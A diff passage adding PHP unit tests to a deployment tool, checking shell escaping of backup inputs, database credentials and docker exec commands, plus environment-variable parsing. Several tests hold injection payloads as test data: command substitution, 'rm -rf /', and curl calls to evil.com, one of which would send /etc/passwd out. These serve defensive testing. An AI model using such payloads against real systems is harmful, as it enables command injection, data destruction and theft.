->not->toThrow(Exception::class); + + expect(fn () => validateDatabasesBackupInput('all')) + ->not->toThrow(Exception::class); +}); + +test('validateDatabasesBackupInput rejects injection in collection names', function () { + // Command substitution in collection name + expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)')) + ->toThrow(Exception::class); + + // Backtick injection in collection name + expect(fn () => validateDatabasesBackupInput('mydb:`id`')) + ->toThrow(Exception::class); + + // Semicolon in collection name + expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /')) + ->toThrow(Exception::class); +}); + +test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () { + expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2')) + ->toThrow(Exception::class); +}); + +// --- Credential escaping tests for database backup commands --- + +test('escapeshellarg neutralizes command injection in postgres password', function () { + $maliciousPassword = '"; rm -rf / #'; + $escaped = escapeshellarg($maliciousPassword); + + // The escaped value must be a single shell token that cannot break out + expect($escaped)->not->toContain("\n"); + expect($escaped)->toBe("'\"; rm -rf / #'"); + // When used in: -e PGPASSWORD=, the shell sees one token + $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump'; + expect($command)->toContain("PGPASSWORD='"); + expect($command)->not->toContain('PGPASSWORD=""'); +}); + +test('escapeshellarg neutralizes command injection in postgres username', function () { + $maliciousUser = 'admin$(whoami)'; + $escaped = escapeshellarg($maliciousUser); + + expect($escaped)->toBe("'admin\$(whoami)'"); + $command = "docker exec container pg_dump --username $escaped"; + // The $() should be inside single quotes, preventing execution + expect($command)->toContain("--username 'admin\$(whoami)'"); +}); + +test('escapeshellarg neutralizes command injection in mysql password', function () { + $maliciousPassword = 'pass" && curl http://evil.com #'; + $escaped = escapeshellarg($maliciousPassword); + + $command = "docker exec container mysqldump -u root -p$escaped db"; + // The password must be wrapped in single quotes + expect($command)->toContain("-p'pass\" && curl http://evil.com #'"); +}); + +test('escapeshellarg neutralizes command injection in mariadb password', function () { + $maliciousPassword = "pass'; whoami; echo '"; + $escaped = escapeshellarg($maliciousPassword); + + // Single quotes in the value get escaped as '\'' + expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''"); + $command = "docker exec container mariadb-dump -u root -p$escaped db"; + // Verify the command doesn't contain an unescaped semicolon outside quotes + expect($command)->toContain("-p'pass'"); +}); + +test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () { + $maliciousUser = 'admin";$(whoami)'; + $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /'; + + $encodedUser = rawurlencode($maliciousUser); + $encodedPass = rawurlencode($maliciousPass); + $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017"; + + // Special characters should be percent-encoded + expect($encodedUser)->not->toContain('"'); + expect($encodedUser)->not->toContain('$'); + expect($encodedUser)->not->toContain('('); + expect($encodedPass)->not->toContain('@'); + expect($encodedPass)->not->toContain('/'); + expect($encodedPass)->not->toContain('?'); + expect($encodedPass)->not->toContain('&'); + + // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded + $atCount = substr_count($url, '@'); + expect($atCount)->toBe(1); +}); + +test('escapeshellarg on mongodb URI prevents shell breakout', function () { + // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely + $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #'; + $escaped = escapeshellarg($maliciousUrl); + + $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup"; + // The entire URI must be inside single quotes + expect($command)->toContain("--uri='mongodb://admin:pass@host:27017"); + expect($command)->toContain("evil.com #'"); + // No unescaped double quotes that could break the command + expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2); +}); diff --git a/tests/Unit/DeploymentCommandNewlineInjectionTest.php b/tests/Unit/DeploymentCommandNewlineInjectionTest.php new file mode 100644 index 000000000..949da88da --- /dev/null +++ b/tests/Unit/DeploymentCommandNewlineInjectionTest.php @@ -0,0 +1,74 @@ +not->toContain("\n") + ->and($exec)->not->toContain("\r") + ->and($exec)->toContain('echo hello echo injected') + ->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/"); +}); + +it('strips carriage returns from deployment command', function () { + $exec = buildDeploymentExecCommand("echo hello\r\necho injected"); + + expect($exec)->not->toContain("\r") + ->and($exec)->not->toContain("\n") + ->and($exec)->toContain('echo hello echo injected'); +}); + +it('strips bare carriage returns from deployment command', function () { + $exec = buildDeploymentExecCommand("echo hello\recho injected"); + + expect($exec)->not->toContain("\r") + ->and($exec)->toContain('echo hello echo injected'); +}); + +it('leaves single-line deployment command unchanged', function () { + $exec = buildDeploymentExecCommand('php artisan migrate --force'); + + expect($exec)->toContain("sh -c 'php artisan migrate --force'"); +}); + +it('prevents newline injection with malicious payload', function () { + // Attacker tries to inject a second command via newline in heredoc transport + $exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)"); + + expect($exec)->not->toContain("\n") + // The entire command should be on a single line inside sh -c + ->and($exec)->toContain('harmless curl http://evil.com/exfil'); +}); + +it('handles multiple consecutive newlines', function () { + $exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2"); + + expect($exec)->not->toContain("\n") + ->and($exec)->toContain('cmd1 cmd2'); +}); + +it('properly escapes single quotes after newline normalization', function () { + $exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'"); + + expect($exec)->not->toContain("\n") + ->and($exec)->toContain("echo '\\''hello'\\''") + ->and($exec)->toContain("echo '\\''world'\\''"); +}); + +/** + * Replicates the exact command-building logic from ApplicationDeploymentJob's + * run_pre_deployment_command() and run_post_deployment_command() methods. + * + * This tests the security-critical str_replace + sh -c wrapping in isolation. + */ +function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string +{ + // This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command + $normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command); + $cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'"; + + return "docker exec {$containerName} {$cmd}"; +} diff --git a/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php new file mode 100644 index 000000000..4d69d0894 --- /dev/null +++ b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php @@ -0,0 +1,144 @@ +not->toContain('docker exec'); + expect($command)->toStartWith("cd {$serverWorkdir}"); + expect($command)->toContain($startCommand); +}); + +it('generates executeInDocker command when preserveRepository is false', function () { + $deploymentUuid = 'test-deployment-uuid'; + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $basedir = '/artifacts/test-deployment-uuid'; + $workdir = '/artifacts/test-deployment-uuid/backend'; + $preserveRepository = false; + + $startCommand = 'docker compose -f /artifacts/test-deployment-uuid/backend/compose.yml --env-file /artifacts/test-deployment-uuid/backend/.env --profile all up -d'; + + // Simulate the logic from ApplicationDeploymentJob::deploy_docker_compose_buildpack() + if ($preserveRepository) { + $command = "cd {$serverWorkdir} && {$startCommand}"; + } else { + $command = executeInDocker($deploymentUuid, "cd {$basedir} && {$startCommand}"); + } + + // When preserveRepository is false, the command SHOULD be wrapped in executeInDocker + expect($command)->toContain('docker exec'); + expect($command)->toContain($deploymentUuid); + expect($command)->toContain("cd {$basedir}"); +}); + +it('uses host paths for env-file when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $composeLocation = '/compose.yml'; + $preserveRepository = true; + + $workdirPath = $preserveRepository ? $serverWorkdir : '/artifacts/deployment-uuid/backend'; + $startCommand = injectDockerComposeFlags( + 'docker compose --profile all up -d', + "{$workdirPath}{$composeLocation}", + "{$workdirPath}/.env" + ); + + // Verify the injected paths point to the host filesystem + expect($startCommand)->toContain("--env-file {$serverWorkdir}/.env"); + expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}"); +}); + +it('injects --project-directory with host path when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = true; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is true, --project-directory must point to host path + expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}"); + expect($customStartCommand)->not->toContain('/artifacts/'); +}); + +it('injects --project-directory with container path when preserveRepository is false', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = false; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is false, --project-directory must point to container path + expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}"); + expect($customStartCommand)->not->toContain('/data/coolify/applications/'); +}); + +it('does not override explicit --project-directory in custom start command', function () { + $customProjectDir = '/custom/path'; + $customStartCommand = "docker compose --project-directory {$customProjectDir} up -d"; + + // Simulate the --project-directory injection — should be skipped + if (! str($customStartCommand)->contains('--project-directory')) { + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value(); + } + + expect($customStartCommand)->toContain("--project-directory {$customProjectDir}"); + expect($customStartCommand)->not->toContain('/should-not-appear'); +}); + +it('uses container paths for env-file when preserveRepository is false', function () { + $workdir = '/artifacts/deployment-uuid/backend'; + $composeLocation = '/compose.yml'; + $preserveRepository = false; + $serverWorkdir = '/data/coolify/applications/app-uuid'; + + $workdirPath = $preserveRepository ? $serverWorkdir : $workdir; + $startCommand = injectDockerComposeFlags( + 'docker compose --profile all up -d', + "{$workdirPath}{$composeLocation}", + "{$workdirPath}/.env" + ); + + // Verify the injected paths point to the container filesystem + expect($startCommand)->toContain("--env-file {$workdir}/.env"); + expect($startCommand)->toContain("-f {$workdir}{$composeLocation}"); + expect($startCommand)->not->toContain('/data/coolify/applications/'); +}); diff --git a/tests/Unit/EnvironmentVariableFillableTest.php b/tests/Unit/EnvironmentVariableFillableTest.php new file mode 100644 index 000000000..8c5f68b21 --- /dev/null +++ b/tests/Unit/EnvironmentVariableFillableTest.php @@ -0,0 +1,72 @@ +getFillable(); + + // Core identification + expect($fillable)->toContain('key') + ->toContain('value') + ->toContain('comment'); + + // Polymorphic relationship + expect($fillable)->toContain('resourceable_type') + ->toContain('resourceable_id'); + + // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls + expect($fillable)->toContain('is_preview') + ->toContain('is_multiline') + ->toContain('is_literal') + ->toContain('is_runtime') + ->toContain('is_buildtime') + ->toContain('is_shown_once') + ->toContain('is_shared') + ->toContain('is_required'); + + // Metadata + expect($fillable)->toContain('version') + ->toContain('order'); +}); + +test('is_required can be mass assigned', function () { + $model = new EnvironmentVariable; + $model->fill(['is_required' => true]); + + expect($model->is_required)->toBeTrue(); +}); + +test('all boolean flags can be mass assigned', function () { + $booleanFlags = [ + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_required', + ]; + + $model = new EnvironmentVariable; + $model->fill(array_fill_keys($booleanFlags, true)); + + foreach ($booleanFlags as $flag) { + expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true"); + } + + // is_shared has a computed getter derived from the value field, + // so verify it's fillable via the underlying attributes instead + $model2 = new EnvironmentVariable; + $model2->fill(['is_shared' => true]); + expect($model2->getAttributes())->toHaveKey('is_shared'); +}); + +test('non-fillable fields are rejected by mass assignment', function () { + $model = new EnvironmentVariable; + $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']); + + expect($model->id)->toBeNull() + ->and($model->uuid)->toBeNull() + ->and($model->created_at)->toBeNull(); +}); diff --git a/tests/Unit/EnvironmentVariableMagicVariableTest.php b/tests/Unit/EnvironmentVariableMagicVariableTest.php new file mode 100644 index 000000000..ae85ba45f --- /dev/null +++ b/tests/Unit/EnvironmentVariableMagicVariableTest.php @@ -0,0 +1,141 @@ +shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_NAME variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_NAME'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('regular variables are not magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('DATABASE_URL'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isDisabled)->toBeFalse(); +}); + +test('locked variables are not magic variables unless they start with SERVICE_', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SECRET_KEY'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(true); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isLocked)->toBeTrue(); +}); + +test('SERVICE_FQDN with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB_5432'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API_8080'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); diff --git a/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php new file mode 100644 index 000000000..a52d7dba5 --- /dev/null +++ b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php @@ -0,0 +1,351 @@ +toBe(''); +}); + +test('splitOnOperatorOutsideNested handles empty variable name with default', function () { + $split = splitOnOperatorOutsideNested(':-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent handles double opening brace', function () { + $result = extractBalancedBraceContent('${{VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('{VAR}'); +}); + +test('extractBalancedBraceContent returns null for empty string', function () { + $result = extractBalancedBraceContent('', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just dollar sign', function () { + $result = extractBalancedBraceContent('$', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just opening brace', function () { + $result = extractBalancedBraceContent('{', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just closing brace', function () { + $result = extractBalancedBraceContent('}', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles extra closing brace', function () { + $result = extractBalancedBraceContent('${VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +test('extractBalancedBraceContent returns null for unclosed with no content', function () { + $result = extractBalancedBraceContent('${', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}', 0); + + assertNull($result); +}); + +test('replaceVariables handles empty braces gracefully', function () { + $result = replaceVariables('${}'); + + expect($result->value())->toBe(''); +}); + +test('replaceVariables handles double braces gracefully', function () { + $result = replaceVariables('${{VAR}}'); + + expect($result->value())->toBe('{VAR}'); +}); + +// ─── Edge Cases with Braces and Special Characters ───────────────────────────── + +test('extractBalancedBraceContent finds consecutive variables', function () { + $str = '${A}${B}'; + + $first = extractBalancedBraceContent($str, 0); + assertNotNull($first); + expect($first['content'])->toBe('A'); + + $second = extractBalancedBraceContent($str, $first['end'] + 1); + assertNotNull($second); + expect($second['content'])->toBe('B'); +}); + +test('splitOnOperatorOutsideNested handles URL with port in default', function () { + $split = splitOnOperatorOutsideNested('URL:-http://host:8080/path'); + + assertNotNull($split); + expect($split['variable'])->toBe('URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('http://host:8080/path'); +}); + +test('splitOnOperatorOutsideNested handles equals sign in default', function () { + $split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('key=value&foo=bar'); +}); + +test('splitOnOperatorOutsideNested handles dashes in default value', function () { + $split = splitOnOperatorOutsideNested('A:-value-with-dashes'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('value-with-dashes'); +}); + +test('splitOnOperatorOutsideNested handles question mark in default value', function () { + $split = splitOnOperatorOutsideNested('A:-what?'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('what?'); +}); + +test('extractBalancedBraceContent handles variable with digits', function () { + $result = extractBalancedBraceContent('${VAR123}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR123'); +}); + +test('extractBalancedBraceContent handles long variable name', function () { + $longName = str_repeat('A', 200); + $result = extractBalancedBraceContent('${'.$longName.'}', 0); + + assertNotNull($result); + expect($result['content'])->toBe($longName); +}); + +test('splitOnOperatorOutsideNested returns null for empty string', function () { + $split = splitOnOperatorOutsideNested(''); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested handles variable name with underscores', function () { + $split = splitOnOperatorOutsideNested('_MY_VAR_:-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('_MY_VAR_') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent with startPos beyond string length', function () { + $result = extractBalancedBraceContent('${VAR}', 100); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles brace in middle of text', function () { + $result = extractBalancedBraceContent('prefix ${VAR} suffix', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +// ─── Deeply Nested Defaults ──────────────────────────────────────────────────── + +test('extractBalancedBraceContent handles four levels of nesting', function () { + $input = '${A:-${B:-${C:-${D}}}}'; + + $result = extractBalancedBraceContent($input, 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C:-${D}}}'); +}); + +test('splitOnOperatorOutsideNested handles four levels of nesting', function () { + $content = 'A:-${B:-${C:-${D}}}'; + $split = splitOnOperatorOutsideNested($content); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-${C:-${D}}}'); + + // Verify second level + $nested = extractBalancedBraceContent($split['default'], 0); + assertNotNull($nested); + $split2 = splitOnOperatorOutsideNested($nested['content']); + assertNotNull($split2); + expect($split2['variable'])->toBe('B') + ->and($split2['default'])->toBe('${C:-${D}}'); +}); + +test('multiple variables at same depth in default', function () { + $input = '${A:-${B}/${C}/${D}}'; + + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['default'])->toBe('${B}/${C}/${D}'); + + // Verify all three nested variables can be found + $default = $split['default']; + $vars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $vars[] = $nested['content']; + $pos = $nested['end'] + 1; + } + + expect($vars)->toBe(['B', 'C', 'D']); +}); + +test('nested with mixed operators', function () { + $input = '${A:-${B:?required}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:?required}'); + + // Inner variable uses :? operator + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + expect($innerSplit['variable'])->toBe('B') + ->and($innerSplit['operator'])->toBe(':?') + ->and($innerSplit['default'])->toBe('required'); +}); + +test('nested variable without default as default', function () { + $input = '${A:-${B}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${B}'); + + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + assertNull($innerSplit); + expect($nested['content'])->toBe('B'); +}); + +// ─── Backwards Compatibility ─────────────────────────────────────────────────── + +test('replaceVariables with brace format without dollar sign', function () { + $result = replaceVariables('{MY_VAR}'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with truncated brace format', function () { + $result = replaceVariables('{MY_VAR'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with plain string returns unchanged', function () { + $result = replaceVariables('plain_value'); + + expect($result->value())->toBe('plain_value'); +}); + +test('replaceVariables preserves full content for variable with default', function () { + $result = replaceVariables('${DB_HOST:-localhost}'); + + expect($result->value())->toBe('DB_HOST:-localhost'); +}); + +test('replaceVariables preserves nested content for variable with nested default', function () { + $result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}'); + + expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db'); +}); + +test('replaceVariables with brace format containing default falls back gracefully', function () { + $result = replaceVariables('{VAR:-default}'); + + expect($result->value())->toBe('VAR:-default'); +}); + +test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () { + $split = splitOnOperatorOutsideNested('VAR:-val-ue'); + + assertNotNull($split); + expect($split['operator'])->toBe(':-') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('val-ue'); +}); + +test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () { + $split = splitOnOperatorOutsideNested('VAR:?error?'); + + assertNotNull($split); + expect($split['operator'])->toBe(':?') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('error?'); +}); + +test('full round trip: extract, split, and resolve nested variables', function () { + $input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}'; + + // Step 1: Extract outer content + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 2: Split on outer operator + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['variable'])->toBe('APP_URL') + ->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 3: Find all nested variables in default + $default = $split['default']; + $nestedVars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + $nestedVars[] = [ + 'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'], + 'default' => $innerSplit !== null ? $innerSplit['default'] : null, + ]; + $pos = $nested['end'] + 1; + } + + expect($nestedVars)->toHaveCount(2) + ->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP') + ->and($nestedVars[0]['default'])->toBeNull() + ->and($nestedVars[1]['name'])->toBe('API_VERSION') + ->and($nestedVars[1]['default'])->toBe('2'); +}); diff --git a/tests/Unit/EscapeShellValueTest.php b/tests/Unit/EscapeShellValueTest.php new file mode 100644 index 000000000..eed25e164 --- /dev/null +++ b/tests/Unit/EscapeShellValueTest.php @@ -0,0 +1,57 @@ +toBe("'hello'"); +}); + +it('escapes single quotes in the value', function () { + expect(escapeShellValue("it's"))->toBe("'it'\\''s'"); +}); + +it('handles empty string', function () { + expect(escapeShellValue(''))->toBe("''"); +}); + +it('preserves && in a single-quoted value', function () { + $result = escapeShellValue('npx prisma generate && npm run build'); + expect($result)->toBe("'npx prisma generate && npm run build'"); +}); + +it('preserves special shell characters in value', function () { + $result = escapeShellValue('echo $HOME; rm -rf /'); + expect($result)->toBe("'echo \$HOME; rm -rf /'"); +}); + +it('handles value with double quotes', function () { + $result = escapeShellValue('say "hello"'); + expect($result)->toBe("'say \"hello\"'"); +}); + +it('produces correct output when passed through executeInDocker', function () { + // Simulate the exact issue from GitHub #9042: + // NIXPACKS_BUILD_CMD with chained && commands + $envValue = 'npx prisma generate && npx prisma db push && npm run build'; + $escapedEnv = '--env '.escapeShellValue("NIXPACKS_BUILD_CMD={$envValue}"); + + $command = "nixpacks plan -f json {$escapedEnv} /app"; + $dockerCmd = executeInDocker('test-container', $command); + + // The && must NOT appear unquoted at the bash -c level + // The full docker command should properly nest the quoting + expect($dockerCmd)->toContain('NIXPACKS_BUILD_CMD=npx prisma generate && npx prisma db push && npm run build'); + // Verify it's wrapped in docker exec bash -c + expect($dockerCmd)->toStartWith("docker exec test-container bash -c '"); + expect($dockerCmd)->toEndWith("'"); +}); + +it('produces correct output for build-cmd with chained commands through executeInDocker', function () { + $buildCmd = 'npx prisma generate && npm run build'; + $escapedCmd = escapeShellValue($buildCmd); + + $command = "nixpacks plan -f json --build-cmd {$escapedCmd} /app"; + $dockerCmd = executeInDocker('test-container', $command); + + // The build command value must remain intact inside the quoting + expect($dockerCmd)->toContain('npx prisma generate && npm run build'); + expect($dockerCmd)->toStartWith("docker exec test-container bash -c '"); +}); diff --git a/tests/Unit/ExecuteInDockerEscapingTest.php b/tests/Unit/ExecuteInDockerEscapingTest.php new file mode 100644 index 000000000..14777ca1c --- /dev/null +++ b/tests/Unit/ExecuteInDockerEscapingTest.php @@ -0,0 +1,35 @@ +toBe("docker exec test-container bash -c 'ls -la /app'"); +}); + +it('escapes single quotes in command', function () { + $result = executeInDocker('test-container', "echo 'hello world'"); + + expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''"); +}); + +it('prevents command injection via single quote breakout', function () { + $malicious = "cd /dir && docker compose build'; id; #"; + $result = executeInDocker('test-container', $malicious); + + // The single quote in the malicious command should be escaped so it cannot break out of bash -c + // The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped + expect($result)->not->toContain("build'; id;"); + expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'"); +}); + +it('handles empty command', function () { + $result = executeInDocker('test-container', ''); + + expect($result)->toBe("docker exec test-container bash -c ''"); +}); + +it('handles command with multiple single quotes', function () { + $result = executeInDocker('test-container', "echo 'a' && echo 'b'"); + + expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''"); +}); diff --git a/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php new file mode 100644 index 000000000..8d8caacaf --- /dev/null +++ b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php @@ -0,0 +1,147 @@ +toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe('3000') + ->and($result[1]['service_name'])->toBe('app'); +}); + +test('extracts environment variables with inline comments', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production # Production environment + - DEBUG=false # Disable debug mode +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['comment'])->toBe('Production environment') + ->and($result[1]['comment'])->toBe('Disable debug mode'); +}); + +test('handles multiple services', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - APP_ENV=prod + db: + environment: + - POSTGRES_DB=mydb +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('APP_ENV') + 